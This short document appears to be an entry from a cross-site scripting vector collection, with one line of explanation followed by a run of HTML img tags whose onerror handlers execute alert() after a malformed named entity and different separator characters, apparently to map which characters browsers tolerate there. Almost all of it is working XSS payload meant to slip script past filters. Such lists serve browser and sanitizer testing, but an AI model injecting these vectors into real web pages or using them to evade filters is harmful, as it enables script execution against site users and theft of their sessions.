This vector shows what characters are allowed after a malformed names entity.
<img src=data: onerror="1&$[chr]log($[i])"><img src=data: onerror="1&alert(59)"><img src=data: onerror="1&0x0Balert(11)"><img src=data: onerror="1&0x09alert(9)"><img src=data: onerror="1& alert(8194)"><img src=data: onerror="1&!alert(33)"><img src=data: onerror="1&0x0Calert(12)"><img src=data: onerror="1& alert(8199)"><img src=data: onerror="1& alert(8201)"><img src=data: onerror="1& alert(8193)"><img src=data: onerror="1& alert(160)"><img src=data: onerror="1& alert(8196)"><img src=data: onerror="1& alert(8239)"><img src=data: onerror="1& alert(8198)"><img src=data: onerror="1& alert(8192)"><img src=data: onerror="1&&alert(38)"><img src=data: onerror="1&
alert(8233)"><img src=data: onerror="1& alert(8200)"><img src=data: onerror="1& alert(8202)"><img src=data: onerror="1& alert(5760)"><img src=data: onerror="1& alert(8197)">